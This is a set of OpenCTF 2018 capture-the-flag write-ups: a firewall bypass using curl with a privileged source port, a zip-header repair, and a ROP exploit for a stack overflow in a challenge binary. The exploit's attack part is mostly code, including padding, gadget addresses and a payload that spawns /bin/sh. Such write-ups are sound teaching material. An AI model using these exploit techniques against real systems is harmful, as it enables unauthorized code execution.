Aug 12, 2018 - OpenCTF : fire walker 0

Author: aagallag

Publish Date: 2018-08-12

Category: Network

Points: 50

Description:

Flag: http://172.31.2.97:20621/flag-d12bb978.txt Firewall rules: https://scoreboard.openctf.com/firewalker_0-acaceaa807e20591173451a7a824a23f2728563b

File Download: firewalker_0-acaceaa807e20591173451a7a824a23f2728563b

The goal of the fire walker challenges is straight-forward, download the flag file from the provided http URL. The trick is, there are firewall rules that will prevent you from simply running wget, curl, or opening the URL in your favorite web browser. So let’s take a look at the firewall rules:

$ cat port_20621_rules.txt 
Chain PORT_20621 (1 references)
target     prot opt source               destination         
REJECT     tcp  --  anywhere             anywhere             tcp spts:1024:65535 reject-with icmp-admin-prohibited

So what these rules are describing, is that if the source port is in the range of 1024-65535, the packet will be rejected. For those new to networking, every TCP connection has a source port and a destination port. You are likely already aware of common destination port number used for servers, for example, HTTP uses port 80 by default. In this challenge, port 20621 is the destination port for our HTTP traffic. However, the source port is randomly selected by your client. And because ports under 1024 generally require elevated privellages, most, if not all, programs will never select a port below 1024. However, both nc and curl allow you to manually specify the port number. I decided to use curl because this allowed me to avoid manually building the HTTP GET request. Be sure to run the command with sudo.

$ sudo curl --local-port 22 http://172.31.2.97:20621/flag-d12bb978.txt > flag-d12bb978.txt
$ cat flag-d12bb978.txt 
pr1vil3ge_h4s_its_privile9e5

Flag

pr1vil3ge_h4s_its_privile9e5

Aug 12, 2018 - OpenCTF : HeadOn

Author: aagallag

Publish Date: 2018-08-12

Category: Forensics

Points: 50

Description:

Apply directly to the console
https://scoreboard.openctf.com/HeadOn-ac8890852965d787f7591bc10add61bb01efb5eb

File Download: HeadOn-ac8890852965d787f7591bc10add61bb01efb5eb

$ file blob 
blob: data

I also try running strings on the file, but I don’t find anything interesting.

Let’s try binwalk. If you have never heard of binwalk, it is a fantastic tool for solving forensics challenges. It goes through files of any type, looking for known magic cookies to help identify when one file type is embedded in another. For example, you may be given an ELF file, that has a jpeg embedded in it, binwalk will be able to find it, assuming the file is not encoded or encrypted in some way.

$ binwalk blob 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
9719          0x25F7          End of Zip archive

So the file contains the end of the zip, not the beginning. I then think about the challenge name and descrition, and realize HeadOn is referring to the file header. So while I could have pulled up the zip file specification documentation, this is a CTF, and solving the challenge quickly is most important. So I create a quick zip file so that I can compare the header of the the valid zip file with the invalid zip file header.

$ zip tmp.zip blob

Valid Zip Header (tmp.zip):

00000000: 504b 0304 1400 0000 0800 195e 044d ea3e  PK.........^.M.>

Invalid Zip Header (blob):

00000000: 0000 0000 1400 0000 0800 345b 044d 4921  ..........4[.MI!

Ok, so immediately I notice that the valid zip file starts with the bytes, 504b 0304 while the invalid zip file starts with 0000 0000. So simply use your favorite hex-editor, to change the first 4 bytes of blob to match with the first 4 bytes of tmp.zip. I used sublime-text, but I’ll also include a few lines of Python that can take care of this.

with open('blob', 'rb') as f:
    f.read(4)
    data = f.read()
patched_data = '\x50\x4b\x03\x04' + data
with open('blob_patched.zip', 'wb') as f:
    f.write(patched_data)

Now extract the zip file.

$ unzip blob_patched.zip 
Archive:  blob_patched.zip
  inflating: flag.pdf

And open flag.pdf in your preferred pdf viewer.

Flag

Flag{SDG7qJ734rIw6f3f90832r}

Aug 12, 2018 - OpenCTF : Baby's First ROP

Author: aagallag

Publish Date: 2018-08-12

Category: Binary/Reverse

Points: 100

Description:

If this is your first time, it will be your first time. Available at 172.31.2.62:47802 - https://scoreboard.openctf.com/babys_first_rop-e0f4088e3b5a86cf3d388fac3bc070493c6f71c5

File Download: babys_first_rop-e0f4088e3b5a86cf3d388fac3bc070493c6f71c5

Investigation

My initial investigation usually starts the same with pwn challenges. I like to start with running the file command so that I get a high-level idea of what I’m working with.

$ file babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca
babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a92f66db1ba36b3e54041f5de948f19d9043aed1, not stripped

Ok, so it’s an x86-64 binary, not stripped, and dynamically linked. I next like to run checksec (included with pwntools), as this will be useful information to keep in mind when looking for vulnerabilities and later building the exploit.

$ checksec babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca
[*] 'babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • No canaries, so if we find a stack overflow vulnerability, we won’t need to circumvent any canaries.
  • NX is enabled, so as the name and description for the challenge implies, we won’t be able to put shellcode on the stack, we will have to build a ROP chain.
  • No PIE, so our gadgets should be accessible from hardcoded memory addresses.

I knew I would need gadgets for this challenge (for the ROP chain), so I decided to run ROPgadget on the binary. Unfortunately, I didn’t find that many gadgets, which is common for dynamically linked binaries. So I figured I would move onto reversing.

Reversing

Cracking

I opened up the binary in IDA Pro, I immediately noticed a common call that gets in the way of debugging.

This alarm call causes the program to crash after 30 seconds. This isn’t a lot of time for debugging, so I’m going to go ahead and remove this from the binary. While I certainly could manually hex-edit the bytes and replace with the correct number of NOP instructions, using the IDA Pro plugin, Fentanyl makes this way quicker and easier.

Gadget Hunting

Admittedly, I didn’t do a ton of reversing on this one. I knew I still needed to find gadgets for this challenge, so I started looking for how I might find these. It didn’t take long for me to notice this loop in the assembly.

I didn’t fully reverse this, but with assistence from the symbols, I suspected the gadgets are getting generated at run-time. And based on the mprotect call, I suspect that the location where these gadgets are getting stored is marked as executable. Instead of reversing these gadgets, I decided to attach a debugger after the gadgets are generated and dumping the memory. However, I wasn’t exactly sure how I would dump the memory to a file. After some quick Google-fu, I found this helpful Github gist by herrcore ida_memdump.py. I simply copy&pasted the script into the IDA-Python immediate window. Then I set a breakpoing right before the instruction for call vuln (0x0400717). Once the breakpoint is reached, I dumped gadgets by simply entering the following command into the immediate window: memdump(0x601080, 0x30000, 'gadgets.raw'). To explain where these values are comming from, 0x601080 is the location of where the gadgets are stored in the .bss section. For the length, I used 0x30000 as this is the length provided above to the call to mprotect. And the last parameter is simply an arbitrary filename.

Now to convert this raw dump into a readable, searchable format, I used objdump. The full command is below:

objdump -D -b binary -m i386 gadgets.raw > gadgets_objdump.txt

NOTE: I initially tried to use x86-64 for the option for ‘-m’, but that was throwing an error. Since x86-64 is backwards compatible with x86 (i386), I figured this shouldn’t be a problem. An example of this output can be seen below:


gadgets.raw:     file format binary


Disassembly of section .data:

00000000 <.data>:
       0:   00 00                   add    %al,(%eax)
       2:   c3                      ret    
       3:   00 01                   add    %al,(%ecx)
       5:   c3                      ret    
       6:   00 02                   add    %al,(%edx)
       8:   c3                      ret    
       9:   00 03                   add    %al,(%ebx)
       b:   c3                      ret    
       c:   00 04 c3                add    %al,(%ebx,%eax,8)
       f:   00 05 c3 00 06 c3       add    %al,0xc30600c3
      15:   00 07                   add    %al,(%edi)
........ lots of gadgets ........
   2fffe:   ff c3                   inc    %ebx

Vulnerability Identification

Now before I build my ropchain, I want to make sure I have a vulnerability to trigger the ropchain. Again, using the symbols as a clue, I go straight to the vuln function.

Here, we have a pretty obvious stack overflow. Read is called, with a length of 0x100 and stored in a hard-coded location in .bss. Then, memcpy is called to copy upto 0x100 bytes onto the stack, however, only 0x50 bytes are allocated on the stack for the destination of this memcpy. So now we have our vulnerability!

Solution (Exploit Development)

If you are not familiar with the pwntools library for Python, I highly recommend getting familiar with it. It is incredibly helpful for building exploits for CTFs, and can also come in handy for non-pwn challenges, such as PPC or shellcoding challenges.

So first I start with building my payload. We will need 0x58(88) bytes of padding, followed by our ROP chain.

payload = ''
payload += 'A'*88

Ok, let’s think about what we want our ROP chain to do. The goal for most pwn challenges, is to pop a shell. The easiest way is to somehow execute execve. Let’s take a look at the Linux x64 Syscall chart.

%rax    System call     %rdi                    %rsi                        %rdx
59      sys_execve      const char *filename    const char *const argv[]    const char *const envp[]

So to get a shell, we want something like the following psuedo-code:

rax = 59
rdi = '/bin/sh\x00'
rsi = '\x00\x00\x00\x00\x00\x00\x00\x00'
rdx = '\x00\x00\x00\x00\x00\x00\x00\x00'

So if we can setup the registers to match above, and then execute the syscall instruction, we should get a shell to play with!

We have lots of gadgets to play with, but the easiest gadgets for writing arbitrary data to registers is the pop instruction. This allows us to simply place the desired values directly on the stack. However, I now begin to ask myself, how am I going to get a hardcoded address pointing to /bin/sh\x00? Well, that’s when I noticed when debugging the vuln function, that the rdi register was already pointing to the beginning of my payload padding. So let’s just put ‘/bin/sh\x00’ at the beginning before the padding. And while I’m at it, I also go ahead and add a 64-bit 0x00 value after the /bin/sh\x00 string. Additionally, I also realized that the payload is also stored in a hard-coded location in the .bss section, not just on the stack. So below is what my payload looks like now:

payload = ''
payload += '/bin/sh\x00'
payload += p64(0x00)
payload += 'A'*(88-len(payload))

And memory locations:

0x631080: '/bin/sh\x00'
0x631088: '\x00\x00\x00\x00\x00\x00\x00\x00'

And as I mentioned above, rdi is already pointing to the beginning of my payload, which is now /bin/sh\x00. So we need a gadget for setting the following registers, rax, rsi, and rdx, and of course, the syscall gadget.

The pop instruction will be the easiest for us, so I simply grepped the text dump for pop. Since we decoded the instructions as x86, we’ll be looking for the x86 registers. There are duplicates, but these were the ones I happend to grab:

GADGETS_BASE    = 0x601080
GADGET_POP_EAX  = GADGETS_BASE + 0x7609#:    58                      pop    %eax
GADGET_POP_ESI  = GADGETS_BASE + 0x761b#:    5e                      pop    %esi
GADGET_POP_EDX  = GADGETS_BASE + 0x760f#:    5a                      pop    %edx
GADGET_SYSCALL  = GADGETS_BASE + 0x2d0f#:    0f 05                   syscall

Finally, we are ready to put everything together for the complete ROP chain:

p = getp()

payload = ''
payload += '/bin/sh\x00'
payload += p64(0x00)
payload += 'A'*(88-len(payload))
payload += p64(GADGET_POP_EAX)
payload += p64(59)
payload += p64(GADGET_POP_ESI)
payload += p64(0x631088)
payload += p64(GADGET_POP_EDX)
payload += p64(0x631088)
payload += p64(GADGET_SYSCALL)

p.sendline(payload)

Full Script Download: babys_first_rop_pwner.py

Flag

OpenCTF{Itz_0nly_45_c0Mpl1c4t3d_as_you_want_itTOBE}